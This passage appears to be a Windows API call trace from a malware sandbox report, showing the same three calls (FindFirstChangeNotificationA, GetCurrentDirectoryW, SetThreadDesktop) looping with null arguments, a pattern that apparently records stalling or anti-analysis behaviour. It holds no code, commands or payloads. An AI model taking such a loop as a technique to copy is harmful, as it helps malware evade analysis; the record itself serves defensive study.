returned 0 [0118.441] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.442] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.442] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.442] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.443] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.443] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.443] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.444] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.444] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.444] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.444] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.444] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.444] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.444] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.444] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.444] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.444] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.444] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.444] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.444] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.444] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.444] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.444] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.444] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.444] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.445] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.445] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.445] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.445] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.445] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.445] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.445] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.445] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.445] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.445] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.445] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.445] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.445] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.445] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.445] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.445] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.445] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.445] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.445] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.446] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.446] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.446] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.446] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.446] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.446] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.446] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.446] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.446] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.447] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.447] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.447] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.447] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.447] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.447] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.447] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.447] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.447] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.447] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.447] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.447] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.447] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.447] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.447] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.448] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.448] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.448] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.448] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.448] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.448] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.448] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.448] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.448] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.449] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.449] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.449] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.449] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.449] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.449] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.449] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.449] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.449] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.450] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.450] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.450] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.450] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.450] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.450] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.450] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.450] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.450] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.451] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.451] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.451] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.451] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.451] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.451] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.451] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.451] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.451] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.452] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.452] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.452] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.452] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.452] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.452] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.452] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.452] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.452] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.452] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.452] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.452] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.452] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.452] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.452] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.453] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.453] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.453] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.453] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.453] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.453] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.453] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.453] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.453] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.454] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.454] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.454] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.454] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.454] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.454] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.454] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.454] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.454] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.454] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.454] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.454] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.454] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.454] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.454] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.454] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.454] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.454] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.454] SetThreadDesktop 